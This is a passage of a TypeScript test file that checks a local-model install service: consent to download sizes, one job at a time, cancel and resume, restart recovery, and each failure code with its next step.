it', async () => { + const { service, deps, store } = setup({ + state: { ...jobAt('runtime', 'paused'), runtime: { version: '0.40.15', port: 11440, enabled: true } }, + }); + await service.resume({}, ADMIN); + await service.idle(); + expect(deps.chooseRuntimePort).not.toHaveBeenCalled(); + expect(store.get().runtime?.port).toBe(11440); + expect(deps.connectLocalModel).toHaveBeenCalledWith(expect.objectContaining({ port: 11440 })); + }); +}); + +// ---------- What install checks first ---------- + +describe('install is checked before anything is downloaded', () => { + const nothingStarted = (h: ReturnType) => { + expect(h.store.get()).toBe(IDLE_LOCAL_MODEL_STATE); + expect(h.deps.ensureRuntimeInstalled).not.toHaveBeenCalled(); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + expect(h.supervisor.start).not.toHaveBeenCalled(); + expect(h.deps.audit).not.toHaveBeenCalled(); + }; + + it('consent is bound to the size shown: other bytes are 409 size-changed with the total', async () => { + const h = setup(); + const result = await h.service.install({ ...REQUEST, acknowledgedBytes: PULL_BYTES }, ADMIN); + expect(result).toEqual({ + ok: false, + status: 409, + conflict: { + reason: 'size-changed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.3' } }, + expectedBytes: PULL_BYTES + RUNTIME_BYTES, + expectedGb: '23.3', + }, + }); + nothingStarted(h); + }); + + it('once the runtime is on disk the total is the model alone, so the earlier figure is refused', async () => { + const h = setup({ runtimeOnDisk: true }); + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + for (const row of [rec.pick!, ...rec.alternatives]) row.installBytes = row.downloadBytes; + return rec; + }); + const stale = await h.service.install(REQUEST, ADMIN); + expect(stale).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'size-changed', expectedBytes: PULL_BYTES }, + }); + nothingStarted(h); + const fresh = await h.service.install({ ...REQUEST, acknowledgedBytes: PULL_BYTES }, ADMIN); + expect(fresh.ok).toBe(true); + await h.service.idle(); + }); + + it('a row without its own total is the model download plus the runtime download', async () => { + const h = setup(); + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + delete (rec.pick as Partial).installBytes; + delete (rec.pick as Partial).harnesses; + return rec; + }); + const wrong = await h.service.install({ ...REQUEST, acknowledgedBytes: PULL_BYTES }, ADMIN); + expect(wrong).toMatchObject({ ok: false, status: 409, conflict: { expectedBytes: PULL_BYTES + RUNTIME_BYTES } }); + const right = await h.service.install(REQUEST, ADMIN); + expect(right.ok).toBe(true); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + }); + + it.each([ + ['a model the server does not offer', { modelId: 'llama9:900b' }], + ['an offered model at another context', { context: 65536 }], + ['a coding agent the row does not list', { cli: 'claude' }], + ['a coding agent that is no CLI at all', { cli: 'rm' }], + ])('%s is a 400', async (_label, change) => { + const h = setup(); + const result = await h.service.install({ ...REQUEST, ...change }, ADMIN); + expect(result).toMatchObject({ ok: false, status: 400 }); + nothingStarted(h); + }); + + it('a coding agent the row lists but the catalogue does not have is a 400', async () => { + const h = setup(); + h.deps.getCatalog.mockReturnValue({ ...CATALOG, harnesses: [] } as unknown as LocalModelCatalog); + expect(await h.service.install(REQUEST, ADMIN)).toMatchObject({ ok: false, status: 400 }); + nothingStarted(h); + }); + + it('a missing coding agent without a stock install command is a 400', async () => { + const h = setup(); + h.deps.stockInstallCommand.mockReturnValue(undefined); + const result = await h.service.install(REQUEST, ADMIN); + expect(result).toEqual({ + ok: false, + status: 400, + message: 'OpenCode is not installed and cannot be installed from here.', + }); + nothingStarted(h); + }); + + it('a saved endpoint that already has our id is said now, not after the download', async () => { + const h = setup(); + h.deps.isEndpointIdTaken.mockResolvedValue(true); + const result = await h.service.install(REQUEST, ADMIN); + expect(result).toEqual({ + ok: false, + status: 400, + message: + 'A saved model connection named local-ollama already exists and was not created here. Rename or delete it in App Settings, then try again.', + }); + nothingStarted(h); + }); + + it('when no model is recommended nothing can be installed', async () => { + const h = setup(); + h.deps.recommend.mockReturnValue({ + verdict: 'none', + reason: 'not-macos', + headline: { text: 'x' }, + notes: [], + alternatives: [], + budgetBytes: 0, + budgetGb: '0.0', + budgetSource: 'estimated', + } as unknown as Recommendation); + expect(await h.service.install(REQUEST, ADMIN)).toMatchObject({ ok: false, status: 400 }); + nothingStarted(h); + }); + + it('an alternative row installs like the pick', async () => { + const h = setup(); + const result = await installAndWait(h.service, { + modelId: 'gpt-oss:20b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: 13_793_441_427 + RUNTIME_BYTES, + }); + expect(result.ok).toBe(true); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' } }); + }); +}); + +// ---------- One job at a time ---------- + +describe('one job at a time', () => { + it('while a job runs, a second install, a resume, a runtime action and a remove are 409 job-running', async () => { + const h = setup({ + overrides: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: { signal?: AbortSignal }) => { + await untilAborted(pull?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe('model')); + + const jobRunning = { ok: false, status: 409, conflict: { reason: 'job-running' } }; + expect(await h.service.install(REQUEST, ADMIN)).toMatchObject(jobRunning); + expect(await h.service.resume({}, ADMIN)).toMatchObject(jobRunning); + expect(await h.service.runtime({ action: 'stop' })).toMatchObject(jobRunning); + expect(await h.service.remove({}, [])).toMatchObject(jobRunning); + expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalledTimes(1); + expect(h.supervisor.stop).not.toHaveBeenCalled(); + expect(h.deps.removeLocalModelFiles).not.toHaveBeenCalled(); + + await h.service.cancel(); + }); + + it('two installs sent at the same moment: one starts, the other is refused', async () => { + const h = setup(); + const [first, second] = await Promise.all([h.service.install(REQUEST, ADMIN), h.service.install(REQUEST, ADMIN)]); + expect(first.ok).toBe(true); + // The second finds the first's job running, or (it ran to its end already) a model installed. + expect(second).toMatchObject({ ok: false, status: 409 }); + await h.service.idle(); + expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalledTimes(1); + }); + + it('install while a model is installed is 409 already-installed: remove it first', async () => { + const h = setup({ state: INSTALLED }); + expect(await h.service.install(REQUEST, ADMIN)).toEqual({ + ok: false, + status: 409, + conflict: { reason: 'already-installed', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictAlreadyInstalled } }, + }); + }); + + it.each([ + ['cancel with no job', (s: LocalModelService) => s.cancel(), IDLE_LOCAL_MODEL_STATE], + ['cancel while paused', (s: LocalModelService) => s.cancel(), jobAt('model', 'paused')], + ['cancel while installed', (s: LocalModelService) => s.cancel(), INSTALLED], + ['resume with no job', (s: LocalModelService) => s.resume({}, ADMIN), IDLE_LOCAL_MODEL_STATE], + ['resume while installed', (s: LocalModelService) => s.resume({}, ADMIN), INSTALLED], + [ + 'a runtime action with nothing installed', + (s: LocalModelService) => s.runtime({ action: 'start' }), + IDLE_LOCAL_MODEL_STATE, + ], + [ + 'a runtime action on a paused job', + (s: LocalModelService) => s.runtime({ action: 'stop' }), + jobAt('model', 'paused'), + ], + ])('%s is 409 wrong-state and changes nothing', async (_label, verb, state) => { + const h = setup({ state }); + expect(await verb(h.service)).toEqual({ + ok: false, + status: 409, + conflict: { reason: 'wrong-state', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictWrongState } }, + }); + expect(h.store.history).toEqual([]); + }); +}); + +// ---------- Cancel ---------- + +describe('Cancel in every step', () => { + /** A fake that waits for the abort signal at position `at` of its arguments' options, then says cancelled. */ + const blocked: Record, Partial> = { + runtime: { + ensureRuntimeInstalled: vi.fn(async (install?: { signal?: AbortSignal }) => { + await untilAborted(install?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + model: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: { signal?: AbortSignal }) => { + await untilAborted(pull?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + verify: { + verifyModel: vi.fn(async (_t: unknown, _id: string, _ctx: number, signal?: AbortSignal) => { + await untilAborted(signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + agent: { + runInstallCommand: vi.fn(async (_command: string, run?: { signal?: AbortSignal }) => { + await untilAborted(run?.signal); + return { code: null, output: '', timedOut: false, aborted: true }; + }), + }, + } as unknown as Record, Partial>; + + it.each(['runtime', 'model', 'verify', 'agent'] as const)( + 'in the %s step: the step in flight is interrupted and the job is paused there', + async (step) => { + const h = setup({ overrides: blocked[step] }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe(step)); + await vi.waitFor(() => expect(Object.values(blocked[step])[0]).toHaveBeenCalled()); + + const result = await h.service.cancel(); + expect(result.ok && result.view).toMatchObject({ + state: 'paused', + step, + actions: ['resume', 'install', 'remove'], + }); + expect(h.store.get()).toMatchObject({ state: 'paused', step }); + // Paused is not failed: no error was stored, and nothing went on after the step. + expect(h.store.get()).not.toHaveProperty('error'); + expect(h.store.history.some((state) => state.state === 'failed')).toBe(false); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + await h.service.idle(); + expect(h.store.get().state).toBe('paused'); + } + ); + + it('an interrupted step that answers with an error instead of "cancelled" is still a pause, not a failure', async () => { + const h = setup({ + overrides: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: { signal?: AbortSignal }) => { + await untilAborted(pull?.signal); + return { ok: false as const, code: 'pull-failed' as const, detail: 'socket hang up' }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe('model')); + await vi.waitFor(() => expect(h.deps.pullModel).toHaveBeenCalled()); + await h.service.cancel(); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'model' }); + expect(h.store.get()).not.toHaveProperty('error'); + }); + + it('in the connect step, before the first write: honoured, and nothing was written', async () => { + const h = setup({ + overrides: { + listOpenAiModels: vi.fn(async (_t: unknown, signal?: AbortSignal) => { + await untilAborted(signal); + return ['qwen3.6:35b-a3b']; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.deps.listOpenAiModels).toHaveBeenCalled()); + const result = await h.service.cancel(); + expect(result.ok && result.view.state).toBe('paused'); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'connect' }); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + expect(h.store.get()).not.toHaveProperty('connection'); + }); + + it('in the connect step, once the writes began: they finish and the job ends installed', async () => { + let release: () => void = () => {}; + const writing = new Promise((resolve) => (release = resolve)); + const h = setup({ + overrides: { + connectLocalModel: vi.fn(async () => { + await writing; + return { ok: true as const, flagWasEnabled: true }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.deps.connectLocalModel).toHaveBeenCalled()); + const cancelling = h.service.cancel(); + release(); + const result = await cancelling; + // The pair is never left half done: the answer is the view after the verb, installed. + expect(result.ok && result.view.state).toBe('installed'); + expect(h.store.get()).toMatchObject({ + state: 'installed', + connection: { endpointId: 'local-ollama', flagWasEnabled: true }, + }); + }); + + it('keeps the download as it stood, without a speed', async () => { + const h = setup({ + overrides: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: PullOptions) => { + pull?.onProgress?.({ completedBytes: 6_200_000_000, totalBytes: PULL_BYTES, bytesPerSecond: 58_000_000 }); + await untilAborted(pull?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(async () => expect((await h.service.view()).progress?.completedBytes).toBe(6_200_000_000)); + // While it runs the window sees the live figure and the speed. + expect((await h.service.view()).progress).toEqual({ + completedBytes: 6_200_000_000, + totalBytes: PULL_BYTES, + completedGb: '6.2', + totalGb: '23.1', + bytesPerSecond: 58_000_000, + mbPerSecond: '58', + secondsLeft: 292, + }); + const result = await h.service.cancel(); + expect(result.ok && result.view.progress).toEqual({ + completedBytes: 6_200_000_000, + totalBytes: PULL_BYTES, + completedGb: '6.2', + totalGb: '23.1', + }); + expect(h.store.get().progress).toEqual({ completedBytes: 6_200_000_000, totalBytes: PULL_BYTES }); + }); + + it('a runtime that already runs keeps running after a Cancel', async () => { + const h = setup({ overrides: blocked.model }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.store.get().step).toBe('model')); + await h.service.cancel(); + expect(h.supervisor.stop).not.toHaveBeenCalled(); + expect((await h.service.view()).running).toBe(true); + }); +}); + +// ---------- Resume ---------- + +describe('Resume', () => { + it('re-enters the step the job stopped in and does not repeat the steps before it', async () => { + const h = setup({ state: jobAt('verify', 'paused'), runtimeOnDisk: true }); + const result = await h.service.resume({}, ADMIN); + expect(result.ok && result.view.state).toBe('installing'); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(h.deps.ensureRuntimeInstalled).not.toHaveBeenCalled(); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + expect(h.deps.verifyModel).toHaveBeenCalledTimes(1); + // The step needs the runtime: it is started first, with the stored port and the old pid. + expect(h.supervisor.start.mock.calls[0][0]).toEqual({ port: 11435, contextLength: 131072, previousPid: 5000 }); + }); + + it('"Try again" after a failure clears the error and runs the same step again', async () => { + const h = setup(); + h.deps.verifyModel.mockResolvedValueOnce({ + ok: false, + code: 'probe-unfinished', + detail: 'finish_reason length', + } as never); + await installAndWait(h.service); + expect(h.store.get()).toMatchObject({ state: 'failed', step: 'verify', error: { code: 'probe-unfinished' } }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(h.deps.pullModel).toHaveBeenCalledTimes(1); + expect(h.deps.verifyModel).toHaveBeenCalledTimes(2); + }); + + it('a resumed agent step looks for the binary first and runs no installer when it is there', async () => { + const h = setup({ state: jobAt('agent', 'paused'), agentInstalled: true }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(h.deps.recheckCliInstalled).toHaveBeenCalledTimes(1); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.audit).not.toHaveBeenCalled(); + }); + + it('"Use another port" chooses a port that is not the stored one before it resumes', async () => { + const h = setup({ + state: { ...jobAt('model', 'paused'), state: 'failed', error: { code: 'port-in-use', vars: { port: '11435' } } }, + }); + h.deps.chooseRuntimePort.mockResolvedValue(11436); + await h.service.resume({ newPort: true }, ADMIN); + await h.service.idle(); + expect(h.deps.chooseRuntimePort).toHaveBeenCalledWith({ avoid: [11435] }); + expect(h.store.get()).toMatchObject({ state: 'installed', runtime: { port: 11436 } }); + // The pid that was stored belonged to the old port: it is not passed on as "ours". + expect(h.supervisor.start.mock.calls[0][0]).toEqual({ port: 11436, contextLength: 131072 }); + expect(h.deps.connectLocalModel).toHaveBeenCalledWith(expect.objectContaining({ port: 11436 })); + }); +}); + +// ---------- A server restart ---------- + +describe('a job a server restart interrupted', () => { + it('comes back paused at the same step, and nothing runs without a click', async () => { + const h = setup({ state: jobAt('model') }); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] }); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'model' }); + await h.service.idle(); + expect(h.calls).toEqual([]); + }); + + it('boot() does the same, and starts no runtime for a job', async () => { + const h = setup({ state: jobAt('verify') }); + await h.service.boot(); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'verify' }); + expect(h.calls).toEqual([]); + }); + + it.each(['install', 'cancel', 'resume', 'remove'] as const)( + 'a %s sent before anything else finds it paused, not running', + async (verb) => { + const h = setup({ state: jobAt('model') }); + const result = + verb === 'install' + ? await h.service.install(REQUEST, ADMIN) + : verb === 'cancel' + ? await h.service.cancel() + : verb === 'resume' + ? await h.service.resume({}, ADMIN) + : await h.service.remove({}, []); + // A paused job accepts install, resume and remove; Cancel has nothing to cancel. + if (verb === 'cancel') expect(result).toMatchObject({ ok: false, conflict: { reason: 'wrong-state' } }); + else expect(result.ok).toBe(true); + expect(h.store.history[0]).toMatchObject({ state: 'paused', step: 'model' }); + await h.service.idle(); + } + ); + + it('shutdown interrupts the job without a word in the state file, so the next start reads it as paused', async () => { + const pull = vi.fn(async (_t: unknown, _id: string, options?: { signal?: AbortSignal }) => { + await untilAborted(options?.signal); + return { ok: false as const, code: 'pull-failed' as const, detail: 'aborted' }; + }); + const h = setup({ overrides: { pullModel: pull } }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(pull).toHaveBeenCalled()); + + await h.service.shutdown(); + expect(h.supervisor.stop).toHaveBeenCalledTimes(1); + // Neither paused nor failed was written: the file still says installing. + expect(h.store.get()).toMatchObject({ state: 'installing', step: 'model' }); + + // The next server process: a new service over the same file. + const next = setup({ state: h.store.get() }); + expect((await next.service.view()).state).toBe('paused'); + expect(next.calls).toEqual([]); + }); + + it('paused, failed and installed stay what they were across a restart', async () => { + const failed: LocalModelStateFile = { + ...jobAt('verify', 'paused'), + state: 'failed', + error: { code: 'no-tool-call' }, + }; + for (const state of [ + jobAt('model', 'paused'), + failed, + { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } }, + ]) { + const h = setup({ state }); + await h.service.boot(); + expect(h.store.get()).toEqual(state); + expect(h.store.history).toEqual([]); + } + }); +}); + +// ---------- Boot of an installed model ---------- + +describe('boot with a model installed', () => { + it('starts the runtime on the stored port, with the stored pid to tell an orphan of ours, and reads the digest again', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + await h.service.boot(); + expect(h.supervisor.start).toHaveBeenCalledWith({ port: 11435, contextLength: 131072, previousPid: 4711 }); + expect(h.deps.readModelDigest).toHaveBeenCalledWith( + { baseUrl: 'http://127.0.0.1:11435' }, + 'qwen3.6:35b-a3b', + expect.anything() + ); + // The pid of the child that runs now replaces the stored one. + expect(h.store.get().runtime?.pid).toBe(5000); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'installed', running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(view).not.toHaveProperty('error'); + }); + + it('puts the saved endpoint back when it is gone (a config-backup restore), also for a stopped runtime', async () => { + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + h.deps.ensureLocalEndpoint.mockResolvedValue(true); + await h.service.boot(); + expect(h.deps.ensureLocalEndpoint).toHaveBeenCalledWith({ + port: 11435, + modelId: 'qwen3.6:35b-a3b', + context: 131072, + }); + expect(warn.mock.calls.flat().join(' ')).toContain('was put back'); + // The settings flag is not touched at boot: only the record. + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + expect(h.supervisor.start).not.toHaveBeenCalled(); + }); + + it('writes no endpoint for an installation that never connected, nor for a job', async () => { + const { connection: _connection, ...unconnected } = INSTALLED; + for (const state of [unconnected, jobAt('connect', 'paused')]) { + const h = setup({ state }); + await h.service.boot(); + expect(h.deps.ensureLocalEndpoint).not.toHaveBeenCalled(); + } + }); + + it('does not start a runtime the person stopped', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + await h.service.boot(); + expect(h.supervisor.start).not.toHaveBeenCalled(); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'installed', running: false, actions: ['start', 'remove'] }); + // A stopped runtime is not an error. + expect(view).not.toHaveProperty('error'); + }); + + it('a model whose digest changed: the state stays installed, the view says why, and no session is offered', async () => { + const h = setup({ state: INSTALLED }); + h.deps.readModelDigest.mockResolvedValue('ffff00000000'); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + const view = await h.service.view(); + expect(view.state).toBe('installed'); + expect(view.error).toEqual({ + code: 'model-changed', + message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' }, + next: 'remove', + }); + expect(view.actions).toEqual(['stop', 'remove']); + expect(h.store.get().state).toBe('installed'); + expect(h.store.get()).not.toHaveProperty('error'); + }); + + it('another program on the port: port-in-use on the view, "Use another port" as the next step', async () => { + const h = setup({ state: INSTALLED }); + h.world.startResult = { ok: false, code: 'port-in-use' }; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + const view = await h.service.view(); + expect(view.error).toEqual({ + code: 'port-in-use', + message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } }, + next: 'other-port', + }); + expect(view.actions).toEqual(['start', 'remove']); + }); + + it('never throws, whatever the runtime does', async () => { + const h = setup({ state: INSTALLED }); + h.supervisor.start.mockRejectedValue(new Error('spawn EACCES')); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await expect(h.service.boot()).resolves.toBeUndefined(); + expect((await h.service.view()).running).toBe(false); + }); + + it('a new pid the supervisor reports after a crash and restart is stored', async () => { + const h = setup({ state: INSTALLED }); + h.service.onRuntimeChange({ running: true, pid: 6001, restarts: 1, gaveUp: false }); + await vi.waitFor(() => expect(h.store.get().runtime?.pid).toBe(6001)); + // A report without a pid, or with what is already stored, writes nothing. + const writes = h.store.history.length; + h.service.onRuntimeChange({ running: false, restarts: 3, gaveUp: true }); + h.service.onRuntimeChange({ running: true, pid: 6001, restarts: 1, gaveUp: false }); + await new Promise((resolve) => setImmediate(resolve)); + expect(h.store.history.length).toBe(writes); + }); +}); + +// ---------- Failures ---------- + +describe('every failure is a state with a code and a next step', () => { + async function failed(h: ReturnType) { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view.state).toBe('failed'); + expect(view.actions).toEqual(['resume', 'install', 'remove']); + return view; + } + + it('a damaged runtime download: runtime-damaged, try again', async () => { + const h = setup(); + h.deps.ensureRuntimeInstalled.mockResolvedValue({ + ok: false, + code: 'runtime-damaged', + detail: 'sha256 mismatch', + } as never); + const view = await failed(h); + expect(view.step).toBe('runtime'); + expect(view.error).toEqual({ + code: 'runtime-damaged', + message: { text: 'The runtime download was damaged and has been deleted. Try again.' }, + next: 'retry', + detail: 'sha256 mismatch', + }); + expect(h.supervisor.start).not.toHaveBeenCalled(); + }); + + it('no free port in the span: port-in-use with the first port, before a runtime is started', async () => { + const h = setup(); + h.deps.chooseRuntimePort.mockResolvedValue(undefined); + const view = await failed(h); + expect(view.error).toMatchObject({ code: 'port-in-use', next: 'other-port', message: { vars: { port: '11435' } } }); + expect(h.supervisor.start).not.toHaveBeenCalled(); + expect(view).not.toHaveProperty('port'); + }); + + it('another program on the chosen port: port-in-use with that port', async () => { + const h = setup(); + h.world.startResult = { ok: false, code: 'port-in-use', detail: 'answers but is not ours' }; + const view = await failed(h); + expect(view.step).toBe('runtime'); + expect(view.port).toBe(11435); + expect(view.error).toMatchObject({ code: 'port-in-use', next: 'other-port', message: { vars: { port: '11435' } } }); + }); + + it('a runtime that does not start: runtime-start-failed', async () => { + const h = setup(); + h.world.startResult = { ok: false, code: 'runtime-start-failed', detail: 'exited with code 1' }; + const view = await failed(h); + expect(view.error).toMatchObject({ code: 'runtime-start-failed', next: 'retry', detail: 'exited with code 1' }); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + }); + + it('the measured budget rules the model out: does-not-fit BEFORE the model is downloaded, with the next model', async () => { + const h = setup(); + h.deps.modelFitsBudget.mockReturnValue(false); + const view = await failed(h); + expect(view.step).toBe('runtime'); + expect(view.error).toEqual({ + code: 'does-not-fit', + message: { + text: '{model} does not fit in the memory of this Mac after all.', + vars: { model: 'Qwen3.6 35B-A3B' }, + }, + next: 'next-model', + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + // The next model was asked for with the measured budget, not the estimate. + expect(h.deps.recommend.mock.calls.at(-1)?.[3]).toEqual({ measuredTotalBytes: MEASURED, runtimeDownloadBytes: 0 }); + }); + + it('without a measured total (an adopted runtime printed nothing) the estimate stands and the job goes on', async () => { + const h = setup(); + h.world.measured = undefined; + h.deps.modelFitsBudget.mockReturnValue(false); + await installAndWait(h.service); + expect(h.deps.modelFitsBudget).not.toHaveBeenCalled(); + expect(h.store.get().state).toBe('installed'); + }); + + it('a pull that keeps failing: pull-failed with the runtime own last error', async () => { + const h = setup(); + h.deps.pullModel.mockResolvedValue({ ok: false, code: 'pull-failed', detail: 'tls: bad record MAC' } as never); + const view = await failed(h); + expect(view.step).toBe('model'); + expect(view.error).toEqual({ + code: 'pull-failed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed }, + next: 'retry', + detail: 'tls: bad record MAC', + }); + }); + + it('a model the registry no longer has: model-not-found, and the next model to try', async () => { + const h = setup(); + h.deps.pullModel.mockResolvedValue({ ok: false, code: 'model-not-found' } as never); + const view = await failed(h); + expect(view.error).toMatchObject({ + code: 'model-not-found', + next: 'next-model', + message: { vars: { model: 'Qwen3.6 35B-A3B' } }, + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + }); + + it('a full disk: disk-full', async () => { + const h = setup(); + h.deps.pullModel.mockResolvedValue({ ok: false, code: 'disk-full' } as never); + expect((await failed(h)).error).toMatchObject({ code: 'disk-full', next: 'retry' }); + }); + + it.each([ + ['load-failed', 'retry', false], + ['does-not-fit', 'next-model', true], + ['no-tool-call', 'next-model', true], + ['probe-unfinished', 'retry', false], + ] as const)('the check answers %s: next step %s', async (code, next, offersModel) => { + const h = setup(); + h.deps.verifyModel.mockResolvedValue({ ok: false, code, detail: 'detail' } as never); + const view = await failed(h); + expect(view.step).toBe('verify'); + expect(view.error).toMatchObject({ code, next, message: { vars: { model: 'Qwen3.6 35B-A3B' } }, detail: 'detail' }); + expect(view.error?.nextModel).toEqual( + offersModel ? { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' } : undefined + ); + // Nothing after the check ran: no coding agent, no connection. + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + }); + + it('a model loaded at another context: the sentence carries what the runtime reports and what was chosen', async () => { + const h = setup(); + h.deps.verifyModel.mockResolvedValue({ ok: false, code: 'context-not-applied' } as never); + const view = await failed(h); + expect(view.error?.message).toEqual({ + text: '{model} loaded with a context of {actual} tokens instead of {wanted}.', + vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' }, + }); + }); + + it('a model the runtime reports no digest for cannot be installed: there would be nothing to compare later', async () => { + const h = setup(); + h.deps.readModelDigest.mockResolvedValue(undefined); + const view = await failed(h); + expect(view.step).toBe('verify'); + expect(view.error).toMatchObject({ code: 'load-failed', detail: 'The runtime reports no digest for the model.' }); + }); + + it('a runtime that does not list the model for a coding agent: connect-failed, nothing written', async () => { + const h = setup(); + h.deps.listOpenAiModels.mockResolvedValue(['some-other:1b']); + const view = await failed(h); + expect(view.step).toBe('connect'); + expect(view.error).toMatchObject({ code: 'connect-failed', detail: 'The runtime does not list qwen3.6:35b-a3b.' }); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + }); + + it('a saved endpoint with our id that is not ours: endpoint-id-taken with the id', async () => { + const h = setup(); + h.deps.connectLocalModel.mockResolvedValue({ ok: false, code: 'endpoint-id-taken' } as never); + const view = await failed(h); + expect(view.error).toMatchObject({ + code: 'endpoint-id-taken', + next: 'retry', + message: { vars: { id: 'local-ollama' } }, + }); + expect(h.store.get()).not.toHaveProperty('connection'); + }); + + it('a refused write of the connection: connect-failed with the reason', async () => { + const h = setup(); + h.deps.connectLocalModel.mockResolvedValue({ + ok: false, + code: 'connect-failed', + detail: 'settings.json is not valid', + } as never); + expect((await failed(h)).error).toMatchObject({ code: 'connect-failed', detail: 'settings.json is not valid' }); + }); + + it('an exception in a step is the code internal with its text, never an unhandled rejection', async () => { + const h = setup(); + h.deps.pullModel.mockRejectedValue(new Error('socket exploded')); + const view = await failed(h); + expect(view.error).toEqual({ + code: 'internal', + message: { text: 'The install stopped on an unexpected error.' }, + next: 'retry', + detail: 'socket exploded', + }); + }); + + it('a failed job can be replaced by another choice, and the model it left is deleted before the new pull', async () => { + const h = setup(); + h.deps.verifyModel.mockResolvedValueOnce({ ok: false, code: 'no-tool-call' } as never); + await installAndWait(h.service); + expect(h.store.get().state).toBe('failed'); + h.calls.length = 0; + + // The runtime is on disk now, so the total is the model alone. + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + for (const row of [rec.pick!, ...rec.alternatives]) row.installBytes = row.downloadBytes; + return rec; + }); + const result = await installAndWait(h.service, { + modelId: 'gpt-oss:20b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: 13_793_441_427, + }); + expect(result.ok).toBe(true); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: 'gpt-oss:20b' } }); + expect(h.deps.deleteModel).toHaveBeenCalledWith( + { baseUrl: 'http://127.0.0.1:11435' }, + 'qwen3.6:35b-a3b', + expect.anything() + ); + expect(h.calls.indexOf('deleteModel')).toBeLessThan(h.calls.indexOf('pullModel')); + expect(h.store.get()).not.toHaveProperty('replacedModelId'); + // The port was chosen once, by the first job. + expect(h.deps.chooseRuntimePort).toHaveBeenCalledTimes(1); + }); +}); + +// ---------- The coding agent ---------- + +describe('the coding agent step', () => { + it('forgets the cached lookups and looks for the binary again after the installer ran', async () => { + const h = setup(); + await installAndWait(h.service); + // Once before (a resumed job may find it), once after: the second is what a session start relies on. + expect(h.deps.recheckCliInstalled).toHaveBeenCalledTimes(2); + expect(h.deps.recheckCliInstalled).toHaveBeenCalledWith('opencode'); + const order = h.calls.filter((call) => call === 'recheckCliInstalled' || call === 'runInstallCommand'); + expect(order).toEqual(['recheckCliInstalled', 'runInstallCommand', 'recheckCliInstalled']); + }); + + it('runs exactly the stock command, with the job signal, inside the shared install slot', async () => { + const h = setup(); + await installAndWait(h.service); + 